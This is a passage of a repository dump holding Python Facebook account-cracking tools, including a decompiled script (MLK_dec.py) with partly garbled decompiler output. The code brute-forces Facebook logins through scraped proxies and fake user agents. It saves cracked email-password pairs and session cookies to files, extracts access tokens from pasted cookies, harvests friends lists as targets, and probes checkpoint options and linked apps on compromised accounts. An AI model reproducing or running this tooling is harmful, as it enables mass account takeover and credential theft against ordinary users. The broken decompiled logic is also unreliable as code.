m_pixel_ratio=2.625; wd=412x756' 486 | heade={"Host":'m.facebook.com',"cache-control":"max-age=0","upgrade-insecure-requests":"1","origin":"https://m.facebook.com","content-type":"application/x-www-form-urlencoded","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"} 487 | po = ses.post('https://p.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs) 488 | if "checkpoint" in po.cookies.get_dict().keys(): 489 | print(f'\r \x1b[1;91mKAUSAR_CP {idf} | {pw}{N}') 490 | os.system("play-audio Bad_Luck_CP.mp3") 491 | open('CP/'+cpc,'a').write(idf+'|'+pw+'\n') 492 | akun.append(idf+'|'+pw) 493 | cp+=1 494 | break 495 | elif "c_user" in ses.cookies.get_dict().keys(): 496 | ok+=1 497 | coki=po.cookies.get_dict() 498 | kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]) 499 | print(f'\r{H}\n Mr.KAUSAR_OK [💚] {idf} | {pw}\n [💉]COOKIES ➢ {kuki}\n [🚀]USER AGENT ➢ {ua}{N}') 500 | os.system("play-audio Mr_KAUSAR_OK.mp3") 501 | cek_apk(session,coki) 502 | open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n') 503 | break 504 | 505 | else: 506 | continue 507 | except requests.exceptions.ConnectionError: 508 | time.sleep(31) 509 | loop+=1 510 | #--------------------[ CHECK-OPSI-CHEKPOINT ]-------------------# 511 | def ceker(idf,pw): 512 | global cp 513 | ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.128 Safari/537.36 FBMF/HUAWEI;FBBD/HUAWEI;FBPN/com.facebook.services;FBDV/EVR-L29;FBSV/10;FBLR/0;FBBK/1;FBCA/arm64-v8a:;]' 514 | head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"} 515 | ses = requests.Session() 516 | try: 517 | hi = ses.get('https://mbasic.facebook.com') 518 | ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser') 519 | jo = ho.find('form') 520 | data = {} 521 | lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data'] 522 | for anj in jo('input'): 523 | if anj.get('name') in lion: 524 | data.update({anj.get('name'):anj.get('value')}) 525 | kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser') 526 | print('\r%s++++ %s|%s ----> CP %s'%(b,idf,pw,x)) 527 | open('CP/'+cpc,'a').write(idf+'|'+pw+'\n') 528 | cp+=1 529 | opsi = kent.find_all('option') 530 | if len(opsi)==0: 531 | print('\r%s---> Tap Yes / A2F (Check Login Id Lite/Mbasic%s)'%(hh,x)) 532 | else: 533 | for opsii in opsi: 534 | print('\r%s---> %s%s'%(kk,opsii.text,x)) 535 | except Exception as c: 536 | print('\r%s++++ %s|%s ----> CP %s'%(b,idf,pw,x)) 537 | print('\r%s---> Cannot Check Options (Check Login In Lite/Basic)%s'%(u,x)) 538 | open('CP/'+cpc,'a').write(idf+'|'+pw+'\n') 539 | cp+=1 540 | #--------------------------[ CHECK-OPSI-CHEKPOINT-2 ]----------------# 541 | def cek_opsi(): 542 | c = len(akun) 543 | hu = 'Terdapat %s Akun Untuk Dicek\nSebelum Mulai, Mode Pesawat/Ubah Kartu Sim Terlebih Dahulu'%(c) 544 | cetak(nel(hu, title='CEK OPSI')) 545 | input(u+'['+h+'•'+u+'] Mulai') 546 | cek = '# PROSES CEK OPSI DIMULAI' 547 | sol().print(mark(cek, style='green')) 548 | love = 0 549 | for kes in akun: 550 | try: 551 | try: 552 | id,pw = kes.split('|')[0],kes.split('|')[1] 553 | except IndexError: 554 | time.sleep(2) 555 | print('\r%s++++ %s ----> Error %s'%(b,kes,x)) 556 | print('\r%s---> Separator Not Supported For This Program%s'%(u,x)) 557 | continue 558 | bi = random.choice([u,k,kk,b,h,hh]) 559 | print('\r%s---> %s/%s ---> { %s }%s'%(bi,love,len(akun),id,x), end=' ');sys.stdout.flush() 560 | ua = 'Mozilla/5.0 (Linux; Android 11; TECNO KD8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4755.101 Mobile Safari/537.36' 561 | ses = requests.Session() 562 | header = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"} 563 | hi = ses.get('https://mbasic.facebook.com') 564 | ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':id,'pass':pw,'login':'submit'}, headers=header, allow_redirects=True).text,'html.parser') 565 | if "checkpoint" in ses.cookies.get_dict().keys(): 566 | try: 567 | jo = ho.find('form') 568 | data = {} 569 | lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data'] 570 | for anj in jo('input'): 571 | if anj.get('name') in lion: 572 | data.update({anj.get('name'):anj.get('value')}) 573 | kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=header).text,'html.parser') 574 | print('\r%s++++ %s|%s ----> CP %s'%(b,id,pw,x)) 575 | opsi = kent.find_all('option') 576 | if len(opsi)==0: 577 | print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x)) 578 | else: 579 | for opsii in opsi: 580 | print('\r%s---> %s%s'%(kk,opsii.text,x)) 581 | except: 582 | print('\r%s++++ %s|%s ----> CP %s'%(b,id,pw,x)) 583 | print('\r%s---> Cannot Check Options%s'%(u,x)) 584 | elif "c_user" in ses.cookies.get_dict().keys(): 585 | print('\r%s++++ %s|%s ----> OK %s'%(h,id,pw,x)) 586 | else: 587 | print('\r%s++++ %s|%s ----> SALAH %s'%(x,id,pw,x)) 588 | love+=1 589 | except requests.exceptions.ConnectionError: 590 | print('') 591 | li = '# KONEKSI INTERNET BERMASALAH, PERIKSA & COBA LAGI' 592 | sol().print(mark(li, style='red')) 593 | exit() 594 | dah = '# DONE' 595 | sol().print(mark(dah, style='green')) 596 | exit() 597 | #----------------------[ CEK-APLIKASI ]---------------------# 598 | def cek_apk(session,cookie): 599 | w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":cookie}).text 600 | sop = BeautifulSoup(w,"html.parser") 601 | x = sop.find("form",method="post") 602 | game = [i.text for i in x.find_all("h3")] 603 | if len(game)==0: 604 | print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi aktif di akun ini.") 605 | else: 606 | for i in range(len(game)): 607 | print(" %s%s. %s%s"%(H,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N)) 608 | w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":cookie}).text 609 | sop = BeautifulSoup(w,"html.parser") 610 | x = sop.find("form",method="post") 611 | game = [i.text for i in x.find_all("h3")] 612 | if len(game)==0: 613 | print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi kadaluarsa di akun ini.") 614 | else: 615 | for i in range(len(game)): 616 | print(" %s%s. %s%s"%(K,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N)) 617 | #-----------------------[ SYSTEM-CONTROL ]--------------------# 618 | if __name__=='__main__': 619 | try:os.system('git pull') 620 | except:pass 621 | try:os.mkdir('OK') 622 | except:pass 623 | try:os.mkdir('CP') 624 | except:pass 625 | try:os.mkdir('DUMP') 626 | except:pass 627 | try:os.system('touch .prox.txt') 628 | except:pass 629 | login() -------------------------------------------------------------------------------- /MLK_dec.py: -------------------------------------------------------------------------------- 1 | # Source Generated with Decompyle++ 2 | # File: 2.pyc (Python 3.10) 3 | 4 | import requests 5 | import bs4 6 | import json 7 | import os 8 | import sys 9 | import random 10 | import datetime 11 | import time 12 | import re 13 | import urllib3 14 | import rich 15 | import base64 16 | from rich.table import Table as me 17 | from rich.console import Console as sol 18 | from bs4 import BeautifulSoup as sop 19 | from concurrent.futures import ThreadPoolExecutor as tred 20 | from rich.console import Group as gp 21 | from rich.panel import Panel as nel 22 | from rich import print as cetak 23 | from rich.panel import Panel 24 | from rich.tree import Tree 25 | from rich.markdown import Markdown as mark 26 | from rich.columns import Columns as col 27 | from rich import print as rprint 28 | from rich import pretty 29 | from rich.text import Text as tekz 30 | from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn 31 | pretty.install() 32 | CON = sol() 33 | pretty.install() 34 | ugen2 = [] 35 | ugen = [] 36 | cokbrut = [] 37 | ses = requests.Session() 38 | princp = [] 39 | 40 | try: 41 | prox = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all&ssl=all&anonymity=all').text 42 | open('.proxy.txt', 'w').write(prox) 43 | finally: 44 | pass 45 | if Exception: 46 | e = None 47 | 48 | try: 49 | exit(e) 50 | finally: 51 | e = None 52 | del e 53 | e = None 54 | del e 55 | for xd in range(10000): 56 | a = 'Mozilla/5.0 (Symbian/3; Series60/' 57 | b = random.randrange(1, 9) 58 | c = random.randrange(1, 9) 59 | d = 'Nokia' 60 | e = random.randrange(100, 9999) 61 | f = '/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/' 62 | g = random.randrange(1, 9) 63 | h = random.randrange(1, 4) 64 | i = random.randrange(1, 4) 65 | j = random.randrange(1, 4) 66 | k = 'Mobile Safari/535.1' 67 | uaku = f'''{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}''' 68 | ugen2.append(uaku) 69 | aa = 'Mozilla/5.0 (Linux; Android 5.0.2;' 70 | b = random.choice([ 71 | '6', 72 | '7', 73 | '8', 74 | '9', 75 | '10', 76 | '11', 77 | '12']) 78 | c = 'Redmi Note 2)' 79 | d = random.choice([ 80 | 'A', 81 | 'B', 82 | 'C', 83 | 'D', 84 | 'E', 85 | 'F', 86 | 'G', 87 | 'H', 88 | 'I', 89 | 'J', 90 | 'K', 91 | 'L', 92 | 'M', 93 | 'N', 94 | 'O', 95 | 'P', 96 | 'Q', 97 | 'R', 98 | 'S', 99 | 'T', 100 | 'U', 101 | 'V', 102 | 'W', 103 | 'X', 104 | 'Y', 105 | 'Z']) 106 | e = random.randrange(1, 999) 107 | f = random.choice([ 108 | 'A', 109 | 'B', 110 | 'C', 111 | 'D', 112 | 'E', 113 | 'F', 114 | 'G', 115 | 'H', 116 | 'I', 117 | 'J', 118 | 'K', 119 | 'L', 120 | 'M', 121 | 'N', 122 | 'O', 123 | 'P', 124 | 'Q', 125 | 'R', 126 | 'S', 127 | 'T', 128 | 'U', 129 | 'V', 130 | 'W', 131 | 'X', 132 | 'Y', 133 | 'Z']) 134 | g = 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.152' 135 | h = random.randrange(73, 100) 136 | i = '0' 137 | j = random.randrange(4200, 4900) 138 | k = random.randrange(40, 150) 139 | l = 'Mobile Safari/537.36' 140 | uaku2 = f'''{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}''' 141 | ugen.append(uaku2) 142 | for x in range(10): 143 | a = 'Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S' 144 | b = random.randrange(100, 9999) 145 | c = random.randrange(100, 9999) 146 | d = random.choice([ 147 | 'A', 148 | 'B', 149 | 'C', 150 | 'D', 151 | 'E', 152 | 'F', 153 | 'G', 154 | 'H', 155 | 'I', 156 | 'J', 157 | 'K', 158 | 'L', 159 | 'M', 160 | 'N', 161 | 'O', 162 | 'P', 163 | 'Q', 164 | 'R', 165 | 'S', 166 | 'T', 167 | 'U', 168 | 'V', 169 | 'W', 170 | 'X', 171 | 'Y', 172 | 'Z']) 173 | e = random.choice([ 174 | 'A', 175 | 'B', 176 | 'C', 177 | 'D', 178 | 'E', 179 | 'F', 180 | 'G', 181 | 'H', 182 | 'I', 183 | 'J', 184 | 'K', 185 | 'L', 186 | 'M', 187 | 'N', 188 | 'O', 189 | 'P', 190 | 'Q', 191 | 'R', 192 | 'S', 193 | 'T', 194 | 'U', 195 | 'V', 196 | 'W', 197 | 'X', 198 | 'Y', 199 | 'Z']) 200 | f = random.choice([ 201 | 'A', 202 | 'B', 203 | 'C', 204 | 'D', 205 | 'E', 206 | 'F', 207 | 'G', 208 | 'H', 209 | 'I', 210 | 'J', 211 | 'K', 212 | 'L', 213 | 'M', 214 | 'N', 215 | 'O', 216 | 'P', 217 | 'Q', 218 | 'R', 219 | 'S', 220 | 'T', 221 | 'U', 222 | 'V', 223 | 'W', 224 | 'X', 225 | 'Y', 226 | 'Z']) 227 | g = random.choice([ 228 | 'A', 229 | 'B', 230 | 'C', 231 | 'D', 232 | 'E', 233 | 'F', 234 | 'G', 235 | 'H', 236 | 'I', 237 | 'J', 238 | 'K', 239 | 'L', 240 | 'M', 241 | 'N', 242 | 'O', 243 | 'P', 244 | 'Q', 245 | 'R', 246 | 'S', 247 | 'T', 248 | 'U', 249 | 'V', 250 | 'W', 251 | 'X', 252 | 'Y', 253 | 'Z']) 254 | h = random.randrange(1, 9) 255 | i = '; U; Bada/1.2; en-us) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/' 256 | j = random.randrange(1, 9) 257 | k = random.randrange(1, 9) 258 | l = 'Mobile WVGA SMM-MMS/1.2.0 OPN-B' 259 | uak = f'''{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}''' 260 | 261 | def uaku(): 262 | 263 | try: 264 | ua = open('bbnew.txt', 'r').read().splitlines() 265 | for ub in ua: 266 | ugen.append(ub) 267 | finally: 268 | return None 269 | a = requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text 270 | ua = open('.bbnew.txt', 'w') 271 | aa = re.findall('line">(.*?)<', str(a)) 272 | for un in aa: 273 | ua.write(un + '\n') 274 | ua = open('.bbnew.txt', 'r').read().splitlines() 275 | return None 276 | 277 | 278 | (id, id2, loop, ok, cp, akun, oprek, method, lisensiku, taplikasi, tokenku, uid, lisensikuni) = ([], [], 0, 0, 0, [], [], [], [], [], [], [], []) 279 | cokbrut = [] 280 | pwpluss = [] 281 | pwnya = [] 282 | P = '\x1b[1;97m' 283 | M = '\x1b[1;91m' 284 | H = '\x1b[1;92m' 285 | K = '\x1b[1;93m' 286 | B = '\x1b[1;94m' 287 | U = '\x1b[1;95m' 288 | O = '\x1b[1;96m' 289 | N = '\x1b[0m' 290 | Z = '\x1b[1;30m' 291 | sir = '\x1b[41m\x1b[1;97m' 292 | x = '\x1b[m' 293 | m = '\x1b[1;91m' 294 | k = '\x1b[93m' 295 | h = '\x1b[1;92m' 296 | hh = '\x1b[32m' 297 | u = '\x1b[95m' 298 | kk = '\x1b[33m' 299 | b = '\x1b[1;96m' 300 | p = '\x1b[0;34m' 301 | asu = random.choice([ 302 | m, 303 | k, 304 | h, 305 | u, 306 | b]) 307 | dic = { 308 | '1': 'January', 309 | '2': 'February', 310 | '3': 'March', 311 | '4': 'April', 312 | '5': 'May', 313 | '6': 'June', 314 | '7': 'July', 315 | '8': 'August', 316 | '9': 'September', 317 | '10': 'October', 318 | '11': 'November', 319 | '12': 'December' } 320 | dic2 = { 321 | '01': 'January', 322 | '02': 'February', 323 | '03': 'March', 324 | '04': 'April', 325 | '05': 'May', 326 | '06': 'June', 327 | '07': 'July', 328 | '08': 'August', 329 | '09': 'September', 330 | '10': 'October', 331 | '11': 'November', 332 | '12': 'Devember' } 333 | tgl = datetime.datetime.now().day 334 | bln = dic[str(datetime.datetime.now().month)] 335 | thn = datetime.datetime.now().year 336 | okc = 'OK-' + str(tgl) + '-' + str(bln) + '-' + str(thn) + '.txt' 337 | cpc = 'CP-' + str(tgl) + '-' + str(bln) + '-' + str(thn) + '.txt' 338 | 339 | def renv_xy(u): 340 | for e in u + '\n': 341 | sys.stdout.write(e) 342 | sys.stdout.flush() 343 | time.sleep(0.005) 344 | 345 | 346 | def clear(): 347 | os.system('clear') 348 | 349 | 350 | def back(): 351 | login() 352 | 353 | 354 | def banner(): 355 | clear() 356 | print(f'''\t{H} \n _ _ _ _____ _____ \n | | /\\ | | | |_ _| __ \\ \n | | / \\ | |__| | | | | | | |\n _ | |/ /\\ \\ | __ | | | | | | |\n | |__| / ____ \\| | | |_| |_| |__| |\n \\____/_/ \\_\\_| |_|_____|_____/ \n {sir}Script Ini Hanya Di Gunakan{x}\n {sir}Oleh Orang Orang Tertentu😄{x} ''') 357 | 358 | 359 | def xoshnaw(): 360 | uuid = str(os.geteuid()) + str(os.getlogin()) 361 | id = '-'.join(uuid) 362 | print('\x1b[1;92m╚═➣ ID KAMU ADALAH\x1b[1;91m : ' + id) 363 | 364 | try: 365 | httpCaht = requests.get('https://github.com/FB-KO/Green-Lover/blob/main/Approval.txt').text 366 | if id in httpCaht: 367 | print('\x1b[1;96m╚═➣ STATUS ID ANDA: AKTIF \x1b[1;92m[✔]') 368 | msg = str(os.geteuid()) 369 | time.sleep(0.3) 370 | finally: 371 | return None 372 | print('\x1b[38;5;248m╚═➣ ID ANDA TIDAK AKTIF \x1b[1;91m[✘]') 373 | print('\x1b[38;5;208mSILAHKAN COPY ID ANDA KIRIM KE AUTHOR !!!') 374 | os.system('xdg-open https://wa.me/+8801311662738?text="+id') 375 | time.sleep(1) 376 | sys.exit() 377 | return None 378 | sys.exit() 379 | if name == '__main__': 380 | print(logo) 381 | xoshnaw() 382 | return None 383 | return None 384 | 385 | 386 | xoshnaw() 387 | os.system('clear') 388 | 389 | def login(): 390 | 391 | try: 392 | token = open('.token.txt', 'r').read() 393 | cok = open('.cok.txt', 'r').read() 394 | tokenku.append(token) 395 | 396 | try: 397 | sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token=' + tokenku[0], { 398 | 'cookie': cok }, **('cookies',)) 399 | sy2 = json.loads(sy.text)['name'] 400 | sy3 = json.loads(sy.text)['id'] 401 | menu(sy2, sy3) 402 | finally: 403 | return None 404 | if KeyError: 405 | login_lagi334() 406 | return None 407 | if requests.exceptions.ConnectionError: 408 | li = ' PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN ' 409 | lo = mark(li, 'red', **('style',)) 410 | sol().print(lo, 'cyan', **('style',)) 411 | exit() 412 | return None 413 | if IOError: 414 | login_lagi334() 415 | return None 416 | 417 | 418 | 419 | 420 | def login_lagi334(): 421 | 422 | try: 423 | os.system('clear') 424 | banner() 425 | cetak(nel('\tLogin Dengan : [green]Cookiedough[white]')) 426 | asu = random.choice([ 427 | h]) 428 | cookie = input(f'''Enter Cookies :{asu} ''') 429 | data = requests.get('https://business.facebook.com/business_locations', { 430 | 'user-agent': 'NokiaX3-02/5.0 (06.05) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+', 431 | 'referer': 'https://www.facebook.com/', 432 | 'host': 'business.facebook.com', 433 | 'origin': 'https://business.facebook.com', 434 | 'upgrade-insecure-requests': '1', 435 | 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7', 436 | 'cache-control': 'max-age=0', 437 | 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8', 438 | 'content-type': 'text/html; charset=utf-8' }, { 439 | 'cookie': cookie }, **('headers', 'cookies')) 440 | find_token = re.search('(EAAG\\w+)', data.text) 441 | ken = open('.token.txt', 'w').write(find_token.group(1)) 442 | cok = open('.cok.txt', 'w').write(cookie) 443 | print(f''' {x}[{h}•{x}]{h} LOGIN BERHASIL!{x} ''') 444 | time.sleep(1) 445 | exit() 446 | finally: 447 | return None 448 | if Exception: 449 | e = None 450 | 451 | try: 452 | os.system('rm -f .token.txt') 453 | os.system('rm -f .cok.txt') 454 | print(' %s[%sx%s]%s LOGIN FAILED.....CHECK YOUR ACCOUNT !!%s' % (x, k, x, m, x)) 455 | exit() 456 | finally: 457 | e = None 458 | del e 459 | return None 460 | e = None 461 | del e 462 | 463 | 464 | 465 | 466 | def menu(my_name, my_id): 467 | 468 | try: 469 | token = open('.token.txt', 'r').read() 470 | cok = open('.cok.txt', 'r').read() 471 | finally: 472 | pass 473 | 474 | None if IOError else os.system('clear') 475 | banner() 476 | print('') 477 | ip = requests.get('https://api.ipify.org').text 478 | renv_xy(' \x1b[1;97m[\x1b[1;92m•\x1b[1;97m] Your Id : ' + str(my_id)) 479 | renv_xy(f''' \x1b[1;97m[\x1b[1;92m•\x1b[1;97m] Your Ip : {ip}''') 480 | print(f''' \x1b[1;97m[\x1b[1;92m•\x1b[1;97m] Status : {H}V I P{x}''') 481 | print(' \x1b[1;97m[\x1b[1;92m•\x1b[1;97m] Email : Jahidhassan6867@gamil.com ') 482 | print('') 483 | cetak(nel('\tFITUR SEADANYA SAJA TIDAK PERLU BANYAK')) 484 | print('') 485 | cetak('[white]1. Crack Public 2. Crack File 3. Setting User Agent\n4. Cek Results 0. Exit[white]') 486 | _____renv__renv_____ = input('\n Select : ') 487 | print('') 488 | if _____renv__renv_____ in ('1',): 489 | dump_massal() 490 | if _____renv__renv_____ in ('2',): 491 | crack_file() 492 | if _____renv__renv_____ in ('3',): 493 | useragent() 494 | if _____renv__renv_____ in ('4',): 495 | result() 496 | return None 497 | if None in ('0',): 498 | os.system('rm -rf .token.txt') 499 | os.system('rm -rf .cookie.txt') 500 | print('>> Successfully Logout+Delete Cookies ') 501 | exit() 502 | return None 503 | None('>> input correctly ') 504 | back() 505 | 506 | 507 | def error(): 508 | print(f'''{k}>> Sorry, this feature is still being fixed {x}''') 509 | time.sleep(4) 510 | back() 511 | 512 | 513 | def dump_massal(): 514 | 515 | try: 516 | token = open('.token.txt', 'r').read() 517 | cok = open('.cok.txt', 'r').read() 518 | finally: 519 | pass 520 | 521 | if None if IOError else None if ValueError else jum < 1 or jum > 100: 522 | print('>> Failed Dump Id maybe id is not public ') 523 | exit() 524 | ses = requests.Session() 525 | yz = 0 526 | for met in range(jum): 527 | yz += 1 528 | kl = input('Enter the Id ' + str(yz) + ' : ') 529 | uid.append(kl) 530 | for userr in uid: 531 | 532 | try: 533 | col = ses.get('https://graph.facebook.com/v2.0/' + userr + '?fields=friends.limit(5000)&access_token=' + tokenku[0], { 534 | 'cookies': cok }, **('cookies',)).json() 535 | for mi in col['friends']['data']: 536 | 537 | try: 538 | iso = mi['id'] + '|' + mi['name'] 539 | if iso in id: 540 | pass 541 | else: 542 | id.append(iso) 543 | finally: 544 | continue 545 | continue 546 | continue 547 | if (KeyError, IOError): 548 | continue 549 | if requests.exceptions.ConnectionError: 550 | print('>> unstable signal ') 551 | exit() 552 | continue 553 | 554 | try: 555 | print('') 556 | print(f'''Total Id Collected {h}''' + str(len(id))) 557 | setting() 558 | finally: 559 | return None 560 | if requests.exceptions.ConnectionError: 561 | print(f'''{x}''') 562 | print('>> unstable signal ') 563 | back() 564 | return None 565 | if (KeyError, IOError): 566 | print(f'''>>{k} Friendship Not Public {x}''') 567 | time.sleep(3) 568 | back() 569 | return None 570 | 571 | 572 | 573 | 574 | 575 | def crack_file(): 576 | 577 | try: 578 | vin = os.listdir('DUMP') 579 | finally: 580 | pass 581 | 582 | if None if FileNotFoundError else len(vin) == 0: 583 | print('>> Kamu Tidak Memiliki File Dump ') 584 | time.sleep(2) 585 | back() 586 | return None 587 | cih = None 588 | lol = { } 589 | for isi in vin: 590 | 591 | try: 592 | hem = open('DUMP/' + isi, 'r').readlines() 593 | finally: 594 | pass 595 | continue 596 | cih += 1 597 | if cih < 100: 598 | nom = '' + str(cih) 599 | lol.update({ 600 | str(cih): str(isi) }) 601 | lol.update({ 602 | nom: str(isi) }) 603 | print(f'''>> %s. %s ({h} %s{x} idz )''' % (nom, isi, len(hem))) 604 | continue 605 | 606 | lol.update({ 607 | str(cih): str(isi) }) 608 | print('[' + str(cih) + '] ' + isi + ' [ ' + str(len(hem)) + ' Account ]' + x) 609 | print('>> %s. %s ({h} %s {x}idz) ' % (cih, isi, len(hem))) 610 | geeh = input('\n>> Pilih : ') 611 | 612 | try: 613 | geh = lol[geeh] 614 | finally: 615 | pass 616 | if KeyError: 617 | print(f'''{k}>> Pilih Yang Bener Kontol {x}''') 618 | time.sleep(3) 619 | back() 620 | else: 621 | 622 | try: 623 | lin = open('DUMP/' + geh, 'r').read().splitlines() 624 | finally: 625 | pass 626 | print('>> File Tidak Ditemukan, Coba Lagi Nanti ') 627 | time.sleep(2) 628 | back() 629 | for xid in lin: 630 | id.append(xid) 631 | setting() 632 | return None 633 | 634 | 635 | 636 | 637 | def useragent(): 638 | print('\n%s[%s01%s]. Ganti user agent ' % (P, H, P)) 639 | print('%s[%s02%s]. Cek user agent ' % (P, H, P)) 640 | print('%s[%s00%s]. Kembali ' % (P, H, P)) 641 | __Aang__Sayang__Laura__ = input('\n%s[%s+%s] Pilih :%s ' % (P, M, P, H)) 642 | uas(__Aang__Sayang__Laura__) 643 | 644 | 645 | def uas(__Aang__Sayang__Laura__): 646 | if __Aang__Sayang__Laura__ == '': 647 | print('\n%s[%s!%s] Yang bener kontol' % (P, K, P)) 648 | jeda(2) 649 | uas(__Aang__Sayang__Laura__) 650 | return None 651 | if None in ('1', '01'): 652 | print('%s[%s!%s] Ketik %scancel%s untuk gunakan ua dari script' % (P, H, P, H, P)) 653 | ua = input('%s[%s!%s] User agent :%s ' % (P, H, P, H)) 654 | if ua in '': 655 | print('\n%s[%s!%s] Yang bener kontol' % (P, K, P)) 656 | jeda(2) 657 | menu() 658 | elif ua in ('CANCEL', 'Cancel', 'cancel'): 659 | ua_ = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]' 660 | open('ua.txt', 'w').write(ua_) 661 | jeda(2) 662 | print('\n%s[%s✓%s] Berhasil menggunakan user agent script ' % (P, H, P)) 663 | jeda(2) 664 | pilihan().menu() 665 | open('ua.txt', 'w').write(ua) 666 | time.sleep(2) 667 | print('\n%s[%s✓%s] Berhasil mengganti user agent' % (P, H, P)) 668 | time.sleep(2) 669 | menu() 670 | return None 671 | if None in ('2', '02'): 672 | 673 | try: 674 | ua_ = open('ua.txt', 'r').read() 675 | time.sleep(2) 676 | print('%s[%s+%s] User anget lu :%s%s ' % (P, H, P, H, ua_)) 677 | time.sleep(2) 678 | input('\n%s[%s!%s] Tekan enter ' % (P, H, P)) 679 | menu() 680 | finally: 681 | return None 682 | if IOError: 683 | ua_ = '%s-' % M 684 | return None 685 | if None in ('0', '00'): 686 | menu() 687 | return None 688 | None('\n%s[%s!%s] Yang bener kontol' % (P, K, P)) 689 | time.sleep(2) 690 | uas(__Aang__Sayang__Laura__) 691 | return None 692 | 693 | 694 | 695 | def result(): 696 | print('{ 1 } Crack CP Id ') 697 | print('{ 2 } Crack OK Id ') 698 | print('{ 3 } Kembali\t') 699 | kz = input('\n>> Pilih : ') 700 | if kz in ('1', '01'): 701 | 702 | try: 703 | vin = os.listdir('CP') 704 | finally: 705 | pass 706 | 707 | if None if FileNotFoundError else len(vin) == 0: 708 | print('>> Anda Tidak Memiliki Hasil CP ') 709 | time.sleep(2) 710 | back() 711 | return None 712 | cih = None 713 | lol = { } 714 | for isi in vin: 715 | 716 | try: 717 | hem = open('CP/' + isi, 'r').readlines() 718 | finally: 719 | pass 720 | continue 721 | cih += 1 722 | if cih < 10: 723 | nom = '0' + str(cih) 724 | lol.update({ 725 | str(cih): str(isi) }) 726 | lol.update({ 727 | nom: str(isi) }) 728 | print('[' + nom + '] ' + isi + ' [ ' + str(len(hem)) + ' Account ]' + x) 729 | continue 730 | 731 | lol.update({ 732 | str(cih): str(isi) }) 733 | print('[' + str(cih) + '] ' + isi + ' [ ' + str(len(hem)) + ' Account ]' + x) 734 | geeh = input('\n>> Pilih : ') 735 | 736 | try: 737 | geh = lol[geeh] 738 | finally: 739 | pass 740 | if KeyError: 